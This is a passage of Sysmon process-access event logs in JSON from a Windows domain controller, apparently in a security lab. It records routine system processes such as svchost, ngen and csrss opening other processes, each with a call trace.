C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.651\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001055420E00}\r\nTargetProcessId: 4192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.651","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001055420E00}","TargetProcessId":"4192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.651\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001055420E00}\r\nTargetProcessId: 4192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.651","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001055420E00}","TargetProcessId":"4192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.651\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001055420E00}\r\nTargetProcessId: 4192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.651","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001055420E00}","TargetProcessId":"4192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-0010E6AE0F00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-0010E6AE0F00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: 